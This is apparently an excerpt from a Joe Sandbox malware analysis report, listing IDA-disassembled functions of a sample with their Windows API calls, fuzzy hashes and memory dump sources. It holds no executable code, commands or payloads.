                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: MessageSend$C400CursorD82980DestroyExtractIcon
                              • String ID:
                              • API String ID: 4018095852-0
                              • Opcode ID: b0e439fc93c86aa425f752c0c26de9476ffc90f5fc0a1de8674fd8c7e7c0c220
                              • Instruction ID: ff529b192773d28f9e5fe2f6f8d7a9043cb056f7fe4a3f7912da33dbd9270a4a
                              • Opcode Fuzzy Hash: b0e439fc93c86aa425f752c0c26de9476ffc90f5fc0a1de8674fd8c7e7c0c220
                              • Instruction Fuzzy Hash: FB21AB71600204AFEB10CF64DD85FAA73B5FF88700F10846EFA05AB290DBB4A9428B64
                              Function 00455616 Relevance: 9.1, APIs: 6, Instructions: 78COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: 74285DeleteObject$CursorDestroyMoveWindow
                              • String ID:
                              • API String ID: 3700930721-0
                              • Opcode ID: a9e5de2d3b90f467c30d036e219f0746eef0d56afd734d018f8f78b53e6c5f41
                              • Instruction ID: 1af524ae86da71fe4f89171a472fc693caa25f853ed14bd6ff7d4c509651bbe6
                              • Opcode Fuzzy Hash: a9e5de2d3b90f467c30d036e219f0746eef0d56afd734d018f8f78b53e6c5f41
                              • Instruction Fuzzy Hash: C6311874200A41DFC710DF24D9D8B3A77E9FB48712F0445AAE946CB262D778E848CB69
                              Function 0044389A Relevance: 9.1, APIs: 6, Instructions: 76COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00410160: _wcslen.LIBCMT ref: 00410162
                                • Part of subcall function 00410160: _wcscpy.LIBCMT ref: 00410182
                              • _wcslen.LIBCMT ref: 004438CD
                              • _wcslen.LIBCMT ref: 004438E6
                              • _wcstok.LIBCMT ref: 004438F8
                              • _wcslen.LIBCMT ref: 0044390C
                              • GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 0044391A
                              • _wcstok.LIBCMT ref: 00443931
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _wcslen$_wcstok$ExtentPoint32Text_wcscpy
                              • String ID:
                              • API String ID: 3632110297-0
                              • Opcode ID: 5ca99eab14a2200aefa90245e429ddeb3cf04e0f88646427c0d38f27a71423b2
                              • Instruction ID: d12b8bce329459066c03420e1b0c57cf331e6d1a2def9435cce8fb2ce1fb425a
                              • Opcode Fuzzy Hash: 5ca99eab14a2200aefa90245e429ddeb3cf04e0f88646427c0d38f27a71423b2
                              • Instruction Fuzzy Hash: 9621B072900305ABDB10AF559C82AAFB7F8FF48711F64482EF95993301E678EA5087A5
                              Function 00455168 Relevance: 9.1, APIs: 6, Instructions: 75windowCOMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Destroy$DeleteMenuObject$74285Cursor
                              • String ID:
                              • API String ID: 3561812883-0
                              • Opcode ID: 877022e28911037ff8e4029beee24c6714a8c165e8bca7c16b59b5f39fc2e0c5
                              • Instruction ID: 7b220c8407ffc283b2c26cc65a644285b0b18e1ed163c7e0472fb9f2b18bc557
                              • Opcode Fuzzy Hash: 877022e28911037ff8e4029beee24c6714a8c165e8bca7c16b59b5f39fc2e0c5
                              • Instruction Fuzzy Hash: B7215970600A01DFD714DF29D9E8B3A7BA9BF49312F04855AE8468B352C738EC89CB59
                              Function 004552FA Relevance: 9.1, APIs: 6, Instructions: 72COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: 74285DeleteObject$CursorD80860Destroy
                              • String ID:
                              • API String ID: 1059693512-0
                              • Opcode ID: bee8e7950a17a017ef8c4c424090cfe506cbffc57fc41e64353b46a851298919
                              • Instruction ID: 11d86efc281b6c380d974b68bd8b9632be9d9c574e85584f431c859402bfc888
                              • Opcode Fuzzy Hash: bee8e7950a17a017ef8c4c424090cfe506cbffc57fc41e64353b46a851298919
                              • Instruction Fuzzy Hash: 9C217C70200A01DFC714DF39D998A6AB7E4BF49311F10862EE959C7392D778D845CB58
                              Function 004556C8 Relevance: 9.1, APIs: 6, Instructions: 67COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: 74285DeleteObject$CursorD80860Destroy
                              • String ID:
                              • API String ID: 1059693512-0
                              • Opcode ID: ef392be253363c3276fd2682622d0856bd6baec92828374cdc4114f01cb4ab17
                              • Instruction ID: f2615e71845bffb995fe2c2b9381f89f67980fa6d4eb7dd8f13843e5971e4781
                              • Opcode Fuzzy Hash: ef392be253363c3276fd2682622d0856bd6baec92828374cdc4114f01cb4ab17
                              • Instruction Fuzzy Hash: 54213D70200A01DFD710EF25D9D4A2B37E9BF49312F10896EE945CB352D739D845CB69
                              Function 004331A2 Relevance: 9.1, APIs: 6, Instructions: 64sleepCOMMON
                              Download Yara Rule
                              APIs
                              • Sleep.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,004A8178), ref: 004331B9
                              • QueryPerformanceCounter.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,?,004A8178), ref: 004331D4
                              • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,004A8178), ref: 004331DE
                              • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,004A8178), ref: 004331E6
                              • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,004A8178), ref: 004331F0
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: PerformanceQuery$CounterSleep$Frequency
                              • String ID:
                              • API String ID: 2833360925-0
                              • Opcode ID: 454a0f1f7a5b9dabfe1a5840f9ecaff855ca9224c6d53cc9b14a46810094a05c
                              • Instruction ID: f8c058edd9890a080c9b5d5c764251204f1987641da473bf5ecf7e3e358c806a
                              • Opcode Fuzzy Hash: 454a0f1f7a5b9dabfe1a5840f9ecaff855ca9224c6d53cc9b14a46810094a05c
                              • Instruction Fuzzy Hash: 1911B632D0011DABCF00DFD9EA489EEB778FF49722F1145AAED04A6204DB755A01CBA4
                              Function 004555A8 Relevance: 9.1, APIs: 6, Instructions: 61windowCOMMON
                              Download Yara Rule
                              APIs
                              • SendMessageW.USER32 ref: 004555C7
                              • SendMessageW.USER32(?,00001008,00000000,00000000), ref: 004555E2
                              • DeleteObject.GDI32(?), ref: 00455736
                              • DeleteObject.GDI32(?), ref: 00455744
                              • DestroyCursor.USER32(?), ref: 00455752
                              • 74285CF0.USER32(?), ref: 00455760
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: DeleteMessageObjectSend$74285CursorDestroy
                              • String ID:
                              • API String ID: 2906226244-0
                              • Opcode ID: a36765697229ff4e213bf7548d3c220621229afc2c11469716cb0ded27b8d901
                              • Instruction ID: 7bbaf3a525edecc9c7f674a1bc178dbce74773f27e06def1294b58b6a87c9b54
                              • Opcode Fuzzy Hash: a36765697229ff4e213bf7548d3c220621229afc2c11469716cb0ded27b8d901
                              • Instruction Fuzzy Hash: 3D116071204601DBC710DF69EDC8A2A77A8FB58322F10466AFD10DB292D779D849CB68
                              Function 00447275 Relevance: 9.0, APIs: 6, Instructions: 50COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0044719B: DeleteObject.GDI32(00000000), ref: 004471D8
                                • Part of subcall function 0044719B: ExtCreatePen.GDI32(?,?,?,00000000,00000000), ref: 00447218
                                • Part of subcall function 0044719B: SelectObject.GDI32(?,00000000), ref: 00447228
                                • Part of subcall function 0044719B: BeginPath.GDI32(?), ref: 0044723D
                                • Part of subcall function 0044719B: SelectObject.GDI32(?,00000000), ref: 00447266
                              • MoveToEx.GDI32(?,?,?,00000000), ref: 004472A0
                              • LineTo.GDI32(?,?,?), ref: 004472AC
                              • MoveToEx.GDI32(?,?,?,00000000), ref: 004472BA
                              • LineTo.GDI32(?,?,?), ref: 004472C6
                              • EndPath.GDI32(?), ref: 004472D6
                              • StrokePath.GDI32(?), ref: 004472E4
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ObjectPath$LineMoveSelect$BeginCreateDeleteStroke
                              • String ID:
                              • API String ID: 372113273-0
                              • Opcode ID: 31eeda2ce056db83d926a779f5beead5a54a2e657b8e2367e9d837ae160c277d
                              • Instruction ID: 9972a7b2ea06d4c5ad2b855a17b8a9a0d98d12ec42d2644493c4a69bc6448ed6
                              • Opcode Fuzzy Hash: 31eeda2ce056db83d926a779f5beead5a54a2e657b8e2367e9d837ae160c277d
                              • Instruction Fuzzy Hash: 7701BC76101214BBE3119B44ED8DFDF7B6CEF4A710F104259FA01A629187F42A02CBBD
                              Function 0044CC51 Relevance: 9.0, APIs: 6, Instructions: 50COMMON
                              Download Yara Rule
                              APIs
                              • 7427A570.USER32(00000000), ref: 0044CC6D
                              • 74284620.GDI32(00000000,00000058), ref: 0044CC78
                              • 74284620.GDI32(00000000,0000005A), ref: 0044CC84
                              • 7427A480.USER32(00000000,00000000), ref: 0044CC90
                              • MulDiv.KERNEL32(000009EC,?,?), ref: 0044CCA8
                              • MulDiv.KERNEL32(000009EC,?,?), ref: 0044CCB9
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: 742774284620$A480A570
                              • String ID:
                              • API String ID: 4022277249-0
                              • Opcode ID: 30463c625ccaefc53399fcb5a1d51c2b4aa5fdcbff3641f1d403fc7908ff7e54
                              • Instruction ID: 48d0fedbc9b5ed1f8cca1220e36c4d83aa6571d18a2c693a8c9b468b660f0fbb
                              • Opcode Fuzzy Hash: 30463c625ccaefc53399fcb5a1d51c2b4aa5fdcbff3641f1d403fc7908ff7e54
                              • Instruction Fuzzy Hash: 60015276240214BFFB009F95DD89F5A7BACFF54751F14802EFF089B240D6B098008BA4
                              Function 00417082 Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • __getptd.LIBCMT ref: 0041708E
                                • Part of subcall function 00417A69: __getptd_noexit.LIBCMT ref: 00417A6C
                                • Part of subcall function 00417A69: __amsg_exit.LIBCMT ref: 00417A79
                              • __amsg_exit.LIBCMT ref: 004170AE
                              • __lock.LIBCMT ref: 004170BE
                              • InterlockedDecrement.KERNEL32(?), ref: 004170DB
                              • _free.LIBCMT ref: 004170EE
                              • InterlockedIncrement.KERNEL32(009C2DB0), ref: 00417106
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
                              • String ID:
                              • API String ID: 3470314060-0
                              • Opcode ID: 80714434994c9102abdbbcfc383ede657addd51ae4f203e3d2298efcf25a3187
                              • Instruction ID: d92c7102fc6d098775a0f5363b9b5483e5b10d08a1c29475ed017091780ded1e
                              • Opcode Fuzzy Hash: 80714434994c9102abdbbcfc383ede657addd51ae4f203e3d2298efcf25a3187
                              • Instruction Fuzzy Hash: 3301AD32905711ABC721ABA698497DE7BB0AB04724F15416BF950A7381CB3CAAC1CFDD
                              Function 0044B63B Relevance: 9.0, APIs: 6, Instructions: 40synchronizationthreadCOMMON
                              Download Yara Rule
                              APIs
                              • InterlockedExchange.KERNEL32(?,?), ref: 0044B655
                              • RtlEnterCriticalSection.KERNEL32(?), ref: 0044B666
                              • TerminateThread.KERNEL32(?,000001F6), ref: 0044B674
                              • WaitForSingleObject.KERNEL32(?,000003E8,?,000001F6), ref: 0044B682
                                • Part of subcall function 00432614: CloseHandle.KERNEL32(00000000,00000000,?,0044B68E,00000000,?,000003E8,?,000001F6), ref: 00432622
                              • InterlockedExchange.KERNEL32(?,000001F6), ref: 0044B697
                              • RtlLeaveCriticalSection.KERNEL32(?), ref: 0044B69E
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                              • String ID:
                              • API String ID: 3495660284-0
                              • Opcode ID: 80b6dccbd1e5d9cd8e45b8a26e63ab1859993381d971fdb3943588aa16a91346
                              • Instruction ID: c0d5b59c8b9084ef0a5212f46b36de0b3fb5a8468090cd03c061fc2099eb7203
                              • Opcode Fuzzy Hash: 80b6dccbd1e5d9cd8e45b8a26e63ab1859993381d971fdb3943588aa16a91346
                              • Instruction Fuzzy Hash: A8F0AF72141201BBD210AB64EE8CDAFB77CFF88311F40092AFA0192560CBB4E420CBB6
                              Function 00410AB0 Relevance: 9.0, APIs: 6, Instructions: 40keyboardCOMMON
                              Download Yara Rule
                              APIs
                              • MapVirtualKeyW.USER32(0000005B,00000000), ref: 00410AE8
                              • MapVirtualKeyW.USER32(00000010,00000000), ref: 00410AF0
                              • MapVirtualKeyW.USER32(000000A0,00000000), ref: 00410AFB
                              • MapVirtualKeyW.USER32(000000A1,00000000), ref: 00410B06
                              • MapVirtualKeyW.USER32(00000011,00000000), ref: 00410B0E
                              • MapVirtualKeyW.USER32(00000012,00000000), ref: 00410B16
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Virtual
                              • String ID:
                              • API String ID: 4278518827-0
                              • Opcode ID: c23d3b718cf4e8061cd741903dec6eccba5b4b0418601ad509713896de31bf0c
                              • Instruction ID: ec5b0e47a8727e2ef01e8325cfcf1e1c5a721ad9102a6d662b709b351e7b749c
                              • Opcode Fuzzy Hash: c23d3b718cf4e8061cd741903dec6eccba5b4b0418601ad509713896de31bf0c
                              • Instruction Fuzzy Hash: 79016770106B88ADD3309F668C84B47FFF8EF95704F01491DD1D507A52C6B5A84CCB69
                              Function 004151AF Relevance: 9.0, APIs: 6, Instructions: 33threadCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 004118F0: _doexit.LIBCMT ref: 004118FC
                              • ___set_flsgetvalue.LIBCMT ref: 004151C0
                                • Part of subcall function 004178AE: TlsGetValue.KERNEL32(?,00417A07,?,004115F6,?,00401BAC,?,?,?), ref: 004178B7
                                • Part of subcall function 004178AE: TlsSetValue.KERNEL32(00000000,?,004115F6,?,00401BAC,?,?,?), ref: 004178D8
                              • ___fls_getvalue@4.LIBCMT ref: 004151CB
                                • Part of subcall function 0041788E: TlsGetValue.KERNEL32(?,?,00413D30,00000000), ref: 0041789C
                              • ___fls_setvalue@8.LIBCMT ref: 004151DD
                              • GetLastError.KERNEL32(00000000,?,00000000), ref: 004151E6
                              • RtlExitUserThread.KERNEL32(00000000), ref: 004151ED
                              • __freefls@4.LIBCMT ref: 00415209
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Value$ErrorExitLastThreadUser___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
                              • String ID:
                              • API String ID: 3590604804-0
                              • Opcode ID: 9accb2c970c3ad42c36fa16d08c3c3a8e1e2ab1c4653ce7caab8e07ca954b280
                              • Instruction ID: 33dbf055cdb8ff64cef25b7eefd28ade4c14083f8bd1581388e3e252127bbc8b
                              • Opcode Fuzzy Hash: 9accb2c970c3ad42c36fa16d08c3c3a8e1e2ab1c4653ce7caab8e07ca954b280
                              • Instruction Fuzzy Hash: B3F03675904705AFC704BFB2C9498CE7B75AF84349720845EB90847222DA3CD8C2CA59
                              Function 004151BB Relevance: 9.0, APIs: 6, Instructions: 29threadCOMMON
                              Download Yara Rule
                              APIs
                              • ___set_flsgetvalue.LIBCMT ref: 004151C0
                                • Part of subcall function 004178AE: TlsGetValue.KERNEL32(?,00417A07,?,004115F6,?,00401BAC,?,?,?), ref: 004178B7
                                • Part of subcall function 004178AE: TlsSetValue.KERNEL32(00000000,?,004115F6,?,00401BAC,?,?,?), ref: 004178D8
                              • ___fls_getvalue@4.LIBCMT ref: 004151CB
                                • Part of subcall function 0041788E: TlsGetValue.KERNEL32(?,?,00413D30,00000000), ref: 0041789C
                              • ___fls_setvalue@8.LIBCMT ref: 004151DD
                              • GetLastError.KERNEL32(00000000,?,00000000), ref: 004151E6
                              • RtlExitUserThread.KERNEL32(00000000), ref: 004151ED
                              • __freefls@4.LIBCMT ref: 00415209
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Value$ErrorExitLastThreadUser___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
                              • String ID:
                              • API String ID: 3516609193-0
